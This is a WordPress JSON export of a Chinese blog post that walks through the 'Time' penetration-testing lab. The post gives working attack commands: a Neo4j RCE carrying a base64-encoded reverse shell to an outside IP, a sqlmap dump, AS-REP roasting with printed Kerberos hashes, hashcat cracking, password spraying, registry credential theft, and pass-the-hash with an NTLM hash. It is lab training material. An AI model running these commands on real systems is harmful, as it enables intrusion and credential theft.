{"id":725,"date":"2025-02-21T15:41:54","date_gmt":"2025-02-21T07:41:54","guid":{"rendered":"http:\/\/www.s1mh0.cn\/blog\/?p=725"},"modified":"2025-02-21T15:54:43","modified_gmt":"2025-02-21T07:54:43","slug":"cqyj_time","status":"publish","type":"post","link":"https:\/\/www.s1mh0.cn\/blog\/index.php\/2025\/02\/21\/cqyj_time\/","title":{"rendered":"\u6625\u79cb\u4e91\u5883-Time"},"content":{"rendered":"

Time<\/h2>\n

\u6d89\u53ca\u7684\u77e5\u8bc6\u70b9<\/p>\n

Neo4j RCE\nSqlmap\u6570\u636e\u5bfc\u51fa\n\u57df\u7528\u6237\u679a\u4e3e\nAS-REP Roasting\u653b\u51fb\nhashcat\u7206\u7834AS-REP\n\u5bc6\u7801\u55b7\u6d12\nbloodhound\u57df\u73af\u5883\u6536\u96c6\nPEASS-ng\/\u6ce8\u518c\u8868\u83b7\u53d6\u81ea\u52a8\u767b\u5f55\u51ed\u8bc1\nSIDHistory\u6ee5\u7528<\/code><\/pre>\n
flag1<\/h3>\n
fscan\u53ea\u626b\u523022\u548c7687\u7aef\u53e3\u5f00\u653e<\/p>\n
start infoscan\n39.98.121.72:7687 open\n39.98.121.72:22 open\n[*] alive ports len is: 2\nstart vulscan\n[*] WebTitle https:\/\/39.98.121.72:7687 code:400 len:50     title:None\n\u5df2\u5b8c\u6210 2\/2\n[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: 45.7757318s<\/code><\/pre>\n
\u8bd5\u7740\u6362\u6210\u5168\u7aef\u53e3\u626b\u63cf\uff0c\u56e0\u4e3abloodhound\u4e5f\u9700\u8981\u5b89\u88c5Neo4j\uff0c\u6240\u4ee5\u770b\u52307474\u7aef\u53e3\u5c31\u60f3\u5230\u662fNeo4j\u670d\u52a1\uff0c\u6216\u8005\u4e0a\u7f51\u641c\u7d227687\u7aef\u53e3\u4e5f\u80fd\u77e5\u9053\u662fNeo4j\u7684bolt\u670d\u52a1\u7aef\u53e3<\/p>\n
start infoscan\n39.98.121.72:25 open\n39.98.121.72:22 open\n39.98.121.72:110 open\n39.98.121.72:7473 open\n39.98.121.72:7474 open\n39.98.121.72:33139 open\n[*] alive ports len is: 6\nstart vulscan\n[*] WebTitle http:\/\/39.98.121.72:7474  code:303 len:0      title:None \u8df3\u8f6curl: http:\/\/39.98.121.72:7474\/browser\/\n[*] WebTitle http:\/\/39.98.121.72:7474\/browser\/ code:200 len:3279   title:Neo4j Browser\n[*] WebTitle https:\/\/39.98.121.72:7473 code:303 len:0      title:None \u8df3\u8f6curl: https:\/\/39.98.121.72:7473\/browser\/\n[*] WebTitle https:\/\/39.98.121.72:7473\/browser\/ code:200 len:3279   title:Neo4j Browser\n\u5df2\u5b8c\u6210 6\/6\n[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: 6m1.2909023s<\/code><\/pre>\n
\u63a5\u7740\u6253Neo4j\u53cd\u5e8f\u5217\u5316\u6f0f\u6d1eRCE\uff0c\u653b\u51fb\u7684\u662f1337\u7aef\u53e3\uff0c\u5373Neo4j Shell\u7aef\u53e3\uff0c\u4f7f\u7528RMI\u534f\u8bae\u901a\u4fe1<\/p>\n
java -jar rhino_gadget.jar rmi:\/\/39.98.121.72:1337 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzOC44OS4yMzYvMTAwNzcgMD4mMQ==}|{base64,-d}|{bash,-i}"<\/code><\/pre>\n
\u7ee7\u7eedvshell\u4e00\u952e\u4e0a\u7ebf<\/p>\n
\"time_1\"<\/p>\n
\u5728neo4j\u5de5\u4f5c\u76ee\u5f55\u770b\u5230\u7b2c\u4e00\u4e2aflag<\/p>\n
\"time_2\"<\/p>\n
flag2<\/h3>\n
gost\u642d\u4ee3\u7406\uff0c\u4f20fscan\u7ee7\u7eed\u626b<\/p>\n
.\/fscan -h 172.22.6.1\/24\n\nstart infoscan\ntrying RunIcmp2\nThe current user permissions unable to send icmp packets\nstart ping\n(icmp) Target 172.22.6.12     is alive\n(icmp) Target 172.22.6.38     is alive\n(icmp) Target 172.22.6.36     is alive\n(icmp) Target 172.22.6.25     is alive\n[*] Icmp alive hosts len is: 4\n172.22.6.25:445 open\n172.22.6.12:445 open\n172.22.6.25:139 open\n172.22.6.12:139 open\n172.22.6.25:135 open\n172.22.6.12:135 open\n172.22.6.38:80 open\n172.22.6.36:22 open\n172.22.6.38:22 open\n172.22.6.36:7687 open\n172.22.6.12:88 open\n[*] alive ports len is: 11\nstart vulscan\n[*] NetBios 172.22.6.25     XIAORANG\\WIN2019              \n[*] NetInfo \n[*]172.22.6.12\n   [->]DC-PROGAME\n   [->]172.22.6.12\n[*] OsInfo 172.22.6.12  (Windows Server 2016 Datacenter 14393)\n[*] NetInfo \n[*]172.22.6.25\n   [->]WIN2019\n   [->]172.22.6.25\n[*] NetBios 172.22.6.12     [+] DC:DC-PROGAME.xiaorang.lab       Windows Server 2016 Datacenter 14393\n[*] WebTitle http:\/\/172.22.6.38        code:200 len:1531   title:\u540e\u53f0\u767b\u5f55\n[*] WebTitle https:\/\/172.22.6.36:7687  code:400 len:50     title:None\n\u5df2\u5b8c\u6210 11\/11\n[*] \u626b\u63cf\u7ed3\u675f,\u8017\u65f6: 12.631891399s<\/code><\/pre>\n
\u5f97\u5230\u4ee5\u4e0b\u4fe1\u606f\uff1a<\/p>\n
    \n
  • 172.22.6.12<\/code>DC-PROGAME\uff0c\u57df\u63a7<\/li>\n
  • 172.22.6.25<\/code>WIN2019<\/li>\n
  • 172.22.6.38<\/code>\u6709web\u540e\u53f0\u7ba1\u7406\u9875\u9762<\/li>\n<\/ul>\n
    web\u540e\u53f0\u6709sql\u6ce8\u5165\uff0c\u53ef\u4ee5sqlmap\u4e00\u628a\u68ad\uff0c\u4f46\u662f\u7531\u4e8e\u76ee\u5f55\u4e0d\u53ef\u5199\u5165\uff0c\u53ea\u80fd\u8bfb\u53d6\u6570\u636e\u5e93<\/p>\n
    \"time_3\"<\/p>\n
    proxychains4 python3 sqlmap.py -r time.txt --dump\n\nDatabase: oa_db\nTable: oa_users\n[500 entries]\n+-----+----------------------------+-------------+-----------------+\n| id  | email                      | phone       | username        |\n+-----+----------------------------+-------------+-----------------+\n[22:53:52] [WARNING] console output will be trimmed to last 256 rows due to large table size\n| 245 | chenyan@xiaorang.lab       | 18281528743 | CHEN YAN        |\n| 246 | tanggui@xiaorang.lab       | 18060615547 | TANG GUI        |\n| 247 | buning@xiaorang.lab        | 13046481392 | BU NING         |\n| 248 | beishu@xiaorang.lab        | 18268508400 | BEI SHU         |\n| 249 | shushi@xiaorang.lab        | 17770383196 | SHU SHI         |\n| 250 | fuyi@xiaorang.lab          | 18902082658 | FU YI           |\n| 251 | pangcheng@xiaorang.lab     | 18823789530 | PANG CHENG      |\n| 252 | tonghao@xiaorang.lab       | 13370873526 | TONG HAO        |\n| 253 | jiaoshan@xiaorang.lab      | 15375905173 | JIAO SHAN       |\n| 254 | dulun@xiaorang.lab         | 13352331157 | DU LUN          |\n| 255 | kejuan@xiaorang.lab        | 13222550481 | KE JUAN         |\n| 256 | gexin@xiaorang.lab         | 18181553086 | GE XIN          |\n| 257 | lugu@xiaorang.lab          | 18793883130 | LU GU           |\n| 258 | guzaicheng@xiaorang.lab    | 15309377043 | GU ZAI CHENG    |\n......\n\nDatabase: oa_db\nTable: oa_f1Agggg\n[1 entry]\n+----+--------------------------------------------+\n| id | flag02                                     |\n+----+--------------------------------------------+\n| 1  | flag{b142f5ce-d9b8-4b73-9012-ad75175ba029} |\n+----+--------------------------------------------+\n\nDatabase: oa_db\nTable: oa_admin\n[1 entry]\n+----+------------------+---------------+\n| id | password         | username      |\n+----+------------------+---------------+\n| 1  | bo2y8kAL3HnXUiQo | administrator |\n+----+------------------+---------------+<\/code><\/pre>\n
    \u5f97\u5230\u7b2c\u4e8c\u4e2aflag<\/p>\n
    flag{b142f5ce-d9b8-4b73-9012-ad75175ba029}<\/code><\/pre>\n
    flag3 & flag4<\/h3>\n
    \u7531\u4e8esqlmap\u67e5\u8be2\u51fa\u6765\u7684oa_users\u8868\u4e0d\u5168\uff0c\u53ef\u4ee5\u914d\u5408everything\u5b9a\u4f4doa_users.csv\u6587\u4ef6\u5bfc\u51fa\u5b8c\u6574\u7528\u6237\u540d<\/p>\n
    \u770b\u5230\u7528\u6237\u540d@\u57df\u540d<\/code>\u7684\u7ec4\u5408\u53ef\u4ee5\u53bb\u5c1d\u8bd5\u57df\u7528\u6237\u540d\u679a\u4e3e<\/p>\n
    kerbrute_windows_amd64.exe userenum --dc 172.22.6.12 -d xiaorang.lab .\/time_user.txt<\/code><\/pre>\n
    \"time_4\"<\/p>\n
    \u6839\u636eflag01\u540e\u9762\u7684\u63d0\u793a\uff0c\u8ddfkerberos\u8eab\u4efd\u9a8c\u8bc1\u76f8\u5173\u7684\u53ef\u4ee5\u60f3\u5230AS-REP Roasting\u653b\u51fb<\/p>\n
    \"time_5\"<\/p>\n
    proxychains4 python3 GetNPUsers.py -dc-ip 172.22.6.12 -usersfile yu_user.txt xiaorang.lab\/<\/code><\/pre>\n
    \u83b7\u53d6\u5230wenshao<\/code>\u548czhangxin<\/code>\u4e24\u4e2a\u7528\u6237\u7684\u54c8\u5e0c<\/p>\n
    \"time_6\"<\/p>\n
    $krb5asrep$23$wenshao@XIAORANG.LAB:b6ea008d5902529da351c16d8a1bd652$c768c7a04c476d39c4e19509faae448ed71dfec6456ae6a4bc96c33e0118dc81be9537a1bea14f8bc8431b24dc8759f7c17f79ee177f04976b5365653ebb534c7df71ed75a7d86bc8ebaaf23868e5031827436134d678530381795a8ac9829024012bf3f59be624df6b9f39edee09aa1fe1e526d6a72df8dae2ade8e2c2ac268d2127e6afe53073da9b27269f79d0f4727c6be4e2fb65fda982ca7d1176f8f184c05edfd57e06ead551cd9b8b712b6d556090f8fc79f9fcaf6b1af475ffed8ff6cf80a4c40d92483842077aec4e0db018a1d13478d19f96017b617b046b8317d1db81bed5e0a011c49176805\n\n$krb5asrep$23$zhangxin@XIAORANG.LAB:30f5da8b363eccd21ac9268979138cac$7219c7dbf25b86532996020cc40f468943a9f0cc39cef9e7ab2f7c418b9eccdad014e73593ba3b483745e43935f1c21b66c8f0d7067ae37534a6dce83091ebed820697aeefc0e089a91e140e660ad36c982f0f4efdb9c5871f3d74b14496fae1ca31e029ebac9ccab9adc9f2b13941dbeec47d2b507563c5bd7bc3dc63783f7622a36025ec7aadb6809787648ccafcbd35f4832a41dfbf5d75631951ad32ae2b676ef1b7d7c04d9b8fc39303789c9f8e8450cbf8337f74788350102c817ca4e6568aa35a45df8ad9fb7ceae09b6da39c38636e4b89eef45372ed17b8816dbee1d91d8897d38dbaad6f7e0fb3<\/code><\/pre>\n
    \u63a5\u7740\u4e0ahashcat\u7206\u7834\uff0c\u6a21\u5f0f\u9009\u62e918200<\/p>\n
    \"time_7\"<\/p>\n
    hashcat -a 0 -m 18200 yu_user.txt rockyou.txt --force<\/code><\/pre>\n
    \u5f97\u5230\u4e24\u4e2a\u7528\u6237\u7684\u8d26\u5bc6<\/p>\n
    \"time_8\"<\/p>\n
    zhangxin\/strawberry\nwenshao\/hellokitty<\/code><\/pre>\n
    \u63a5\u7740cme\u8fdb\u884c\u5bc6\u7801\u55b7\u6d12\uff0c\u6216\u8005\u76f4\u63a5\u8bd5\u524d\u9762\u626b\u51fa\u6765\u7684\u90a3\u4e24\u4e2a\u4e5f\u884c<\/p>\n
    proxychains4 crackmapexec smb 172.22.6.1\/24 -u zhangxin -p strawberry -d xiaorang.lab 2>\/dev\/null\n\u6216\nproxychains4 crackmapexec smb 172.22.6.1\/24 -u user.txt -p pass.txt -d xiaorang.lab 2>\/dev\/null<\/code><\/pre>\n
    \"time_9\"<\/p>\n
    \"time_10\"<\/p>\n
    \u767b172.22.6.12<\/code>\u8fd9\u53f0\u673a\u4f1a\u663e\u793a\u7528\u6237\u6ca1\u6743\u9650<\/p>\n
    \"time_11\"<\/p>\n
    \u4e0b\u6b21\u7528cme\u55b7\u6d12\u53ef\u4ee5\u52a0\u4e2a--continue-on-success<\/code>\u53c2\u6570<\/p>\n
    \u7ee7\u7eed\u968f\u4fbf\u9009\u4e2a\u7528\u6237\u767b\u5f55172.22.6.25<\/code>\u8fd9\u53f0\u673a\uff08\u7528\u6237\u540d\u8bb0\u5f97\u8981\u5e26\u4e0a@xiaorang.lab\uff0c\u8fd9\u91cc\u5361\u4e86\u4f1a\uff0c\u8fd8\u91cd\u7f6e\u4e86\u4e0b\u9776\u673a\ud83d\ude02\uff09\uff0c\u56e0\u4e3a\u5728\u57df\u5185\uff0c\u5c1d\u8bd5sharphound\u8fdb\u884c\u57df\u4fe1\u606f\u6536\u96c6<\/p>\n
    \"time_12\"<\/p>\n
    \u53d1\u73b0yuxuan\u7528\u6237\u914d\u7f6e\u4e86\u6307\u5411ADMINISTRATOR@XIAORANG.LAB<\/code>\u673a\u5668\u7684SID History\uff0c\u56e0\u6b64\u8be5\u7528\u6237\u5c31\u5177\u6709administrator\u6743\u9650\uff08\u6709\u70b9\u5947\u602a\uff0c\u770b\u5176\u4ed6\u5e08\u5085wp\u7684bloodhound\u8fd8\u4f1a\u5355\u72ec\u663e\u793aWIN2019\u673a\u5668\u4e0eyuxuan\u673a\u5668\u6709HasSession\u5173\u7cfb\uff0c\u6211\u5c1d\u8bd5\u7528wenshao\u548cyuxuan\u8fdb\u884c\u6536\u96c6\u90fd\u6ca1\u6709\uff09<\/p>\n
    \"time_13\"<\/p>\n
    \"time_14\"<\/p>\n
    \u90a3\u4e48\u63a5\u4e0b\u6765\u5c31\u662f\u8981\u5c1d\u8bd5\u83b7\u53d6yuxuan\u7528\u6237\u7684\u660e\u6587\u5bc6\u7801\u6216\u54c8\u5e0c\u503c\uff0c\u7528PEASS-ng\u5de5\u5177\u8fdb\u884c\u57df\u4fe1\u606f\u6536\u96c6<\/p>\n
    winPEASx64.exe domain log=result2.txt<\/code><\/pre>\n
    \u5c06txt\u53e6\u5b58\u4e3a\u4e3aANSI\u7f16\u7801\u4e4b\u540etype\u6253\u5370\u65b9\u4fbf\u67e5\u770b\uff0c\u53ef\u4ee5\u53d1\u73b0\u6536\u96c6\u5230\u4e86\u81ea\u52a8\u767b\u5f55\u51ed\u636e\uff0c\u5305\u62ec\u4e86yuxuan\u7528\u6237\u7684\u5bc6\u7801<\/p>\n
    \"time_15\"<\/p>\n
    \u6216\u8005\u76f4\u63a5\u901a\u8fc7\u6ce8\u518c\u8868\u67e5\u8be2<\/p>\n
    reg query "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon"<\/code><\/pre>\n
    \"time_16\"<\/p>\n
    yuxuan\/Yuxuan7QbrgZ3L<\/code><\/pre>\n
    \u4e4b\u540e\u5c31\u53ef\u4ee5\u5207\u6362\u5230yuxuan\u7528\u6237\u767b\u5f55\uff0c\u7528mimikatz\u5bfc\u51fa\u7528\u6237hash\uff0c\u5176\u4e2d\u5c31\u6709administrator<\/p>\n
    \"time_17\"<\/p>\n
    \u63a5\u7740\u5c31\u662f\u7528\u7ba1\u7406\u5458\u8d26\u6237pth\u767b\u5f55172.22.6.25<\/code>\u548c172.22.6.12<\/code>\u8fd9\u4e24\u53f0\u673a\u5668\u62ff\u5230\u7b2c\u4e09\u4e2a\u548c\u7b2c\u56db\u4e2aflag<\/p>\n
    proxychains4 impacket-smbexec -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab\/administrator@172.22.6.25 -codec gbk<\/code><\/pre>\n
    \"time_18\"<\/p>\n
    flag{4c81fbbd-e6a4-456e-8242-88d70fc67287}<\/code><\/pre>\n
    proxychains4 impacket-smbexec -hashes :04d93ffd6f5f6e4490e0de23f240a5e9 xiaorang.lab\/administrator@172.22.6.12 -codec gbk<\/code><\/pre>\n
    \"time_19\"<\/p>\n
    flag{14fa793f-6e4b-46ce-bb97-9900008ce89f}<\/code><\/pre>\n
    <\/div>","protected":false},"excerpt":{"rendered":"
    Time \u6d89\u53ca\u7684\u77e5\u8bc6\u70b9 Neo4j RCE Sqlmap\u6570\u636e\u5bfc\u51fa \u57df\u7528\u6237\u679a\u4e3e AS-REP Roasting\u653b […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7],"tags":[],"class_list":["post-725","post","type-post","status-publish","format-standard","hentry","category-pentesting"],"views":339,"_links":{"self":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/725","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/comments?post=725"}],"version-history":[{"count":3,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/725\/revisions"}],"predecessor-version":[{"id":747,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/posts\/725\/revisions\/747"}],"wp:attachment":[{"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/media?parent=725"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/categories?post=725"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.s1mh0.cn\/blog\/index.php\/wp-json\/wp\/v2\/tags?post=725"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}